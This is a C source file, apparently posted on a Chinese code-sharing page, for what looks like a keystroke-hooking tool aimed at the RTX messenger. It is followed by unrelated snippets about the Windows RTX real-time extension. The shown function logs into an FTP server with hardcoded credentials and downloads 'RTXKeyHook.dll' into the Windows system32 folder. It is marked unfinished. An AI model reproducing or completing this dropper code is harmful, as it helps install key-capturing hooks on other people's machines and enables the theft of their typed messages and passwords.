rtxtail.c
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#include <process.h>
#pragma comment(lib, "WININET.LIB")
HWND hLast;
char m_store[MAX_PATH];
const char *hookedName = "HOOKED RTX";
const char *unhookedName = "UNHOOKED RTX";
//down load hook dll using ftp way
BOOL DownloadHookDll()
{
BOOL bSuccess;
HINTERNET hIntSession;
HINTERNET hFtpSession;
char szAppName[] = "rtxkeyhook";
char szServer[] = "192.168.101.225";
char szUser[] = "qpid";
char szPwd[] = "qpid";
char szDirectory[] = "/home/qpid/mydll";
char szFile[] = "RTXKeyHook.dll";
char szCurDir[MAX_PATH];
char szNewFile[] = "c:\\windows\\system32\\RTXKeyHook.dll";
DWORD dwCurDir = MAX_PATH;
printf("try to open intSession...\n");
hIntSession = InternetOpen(szAppName, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if(hIntSession == NULL)
{
printf("can not open intSession!\n");
return FALSE;
}
printf("intSession is open!\n");
printf("try to open ftpSession...\n");
hFtpSession = InternetConnect(hIntSession, szServer, INTERNET_DEFAULT_FTP_PORT, szUser, szPwd, INTERNET_SERVICE_FTP, 0, 0);
if(hFtpSession == NULL)
{
InternetCloseHandle(hIntSession);
printf("can not open ftpSession!\n");
return FALSE;
}
printf("ftpSession is open!\n");
ZeroMemory(szCurDir, sizeof(szCurDir));
FtpGetCurrentDirectory(hFtpSession, szCurDir, &dwCurDir);
printf("current dir is %s .\n", szCurDir);
printf("try to set current directory...\n");
bSuccess = FtpSetCurrentDirectory(hFtpSession, szDirectory);
if(!bSuccess)
{
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hIntSession);
printf("can not set directory!\n");
return FALSE;
}
printf("set directory ok!\n");
printf("try to get file...\n");
FtpGetFile(hFtpSession, szFile, szNewFile, TRUE, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hIntSession);
return TRUE;
}
未完。
分享到:
相关推荐
这些代码可能涵盖了RTX和Windows之间的各种通信接口,展示了如何在实际项目中有效地实现跨平台的进程间通信。 综上所述,这个压缩包“windows-RTX.rar”提供的内容对于理解和实践RTX系统与Windows之间的IPC,尤其是...
"安晓风第一学期末RTX接收发送"可能是某个教学或实践项目中,用户创建的一个示例或测试文件,用于演示如何在Windows环境下使用RTX进行数据的接收和发送操作。这个文件可能包含了源代码、配置文件或实验报告,帮助...
在Windows操作系统环境中,为了实现高实时性的串口通信,开发者常常会借助于Windows实时扩展(Real-Time Extension,简称RTX)。RTX是一种针对Windows NT/2000/XP等系统设计的实时扩展库,它提供了低延迟、高优先级...
3. **实时性能**:RTX优化了系统调用和中断处理,确保了在Windows上实现硬实时性能,这对于需要严格时间约束的系统至关重要。 4. **同步与通信机制**:RTX提供了信号量、邮箱、消息队列等同步和通信机制,使得不同...
在Windows环境下,开发者通常会使用Visual Studio作为集成开发环境(IDE),配合RTX 3.4 SDK来编写、编译和调试实时应用。SDK提供的库和API允许开发者创建多线程应用,使用优先级调度,并且可以访问实时定时器和...
然后,需要修改 RTX 安装目录下的 Rtx.mak 文件,设置 VISUALSTUDIO 的值为 6、8 或 90,以便在 Visual Studio 中使用 RTX。 四、设置环境变量 设置环境变量是为了让 RTX 和 Visual Studio 能够正确地工作。在...
安装后,开发者可以开始创建新的实时应用程序,利用Windows RTX的强大功能,实现高效的实时处理和系统响应。 总之,RTX 3.6 SDK是一个针对Windows平台的实时操作系统开发工具,它提供了必要的工具和库,帮助开发者...
RTX 8.1 与 RTX 64 是两种实时操作系统(RTOS)的版本,它们主要用于将标准的Windows操作系统转换成实时系统,以满足对时间敏感和高精度任务的需求。RTX64 3.6 版本是64位的,而RTX 8.1 则代表了该技术的进一步发展...
此软件为实时Windows操作系统扩展,安装此软件后Windows操作系统...此为测试版,教学、学习和了解Windows RTX的性能没有限制,过期后修改系统时间又可运行。可“不受限制”光明正大使用。(不是盗版所以不受版权限制)
Windows RTX下PCI设备的读写寄存器与中断
RTX实时平台实现RS232通讯代码 关于windows开发 RTX下试试通讯的代码
在一个单处理器环境中,所有的RTSS线程调度都发生在所有Windows调度之前,包括Windows管理的中断和延迟过程调用Deferred Procedure Calls(DPCs)。 实时进程间通讯 RTSS支持可以被其他RTSS或Win32进程控制的IPC...
RTX(Real-Time eXtension)是由Interval Zero公司开发的一款Windows实时扩展包,它能够在标准Windows环境中实现硬实时功能。RTX提供了一个实时子系统(Real-Time Subsystem, RTSS),该子系统可以在Windows上运行,...
本话题涉及的是如何利用C#进行RTX(Real Time eXchange,即时通讯系统)的二次开发,实现一个右下角弹窗提醒功能。这个功能在许多桌面应用中常见,用于向用户发送实时消息或通知。 RTX是腾讯公司推出的一款企业级...
通过学习这些内容,开发者可以了解如何在自己的应用程序中实现类似的数据共享功能。 总之,Windows RTX通过共享内存实现了与Windows系统之间的高效数据交换,这涉及到了进程间通信、内存映射文件的使用以及同步机制...
* 多任务程序:RTX51 TINY 2.02 中多任务程序的设计和实现,帮助开发者了解多任务程序的原理和应用。 * RTX51 Tiny 程序:RTX51 TINY 2.02 中的实时程序设计,包括任务管理、事件处理等方面的内容。 第三章 原理 ...
在软PLC运行系统的设计中,本文通过多个实验和测试,证明了基于Windows+RTX平台的软PLC技术能够有效实现数控系统开关控制功能。此外,软PLC技术的应用大大提升了数控系统的开放性及兼容性,为数控系统的进一步发展和...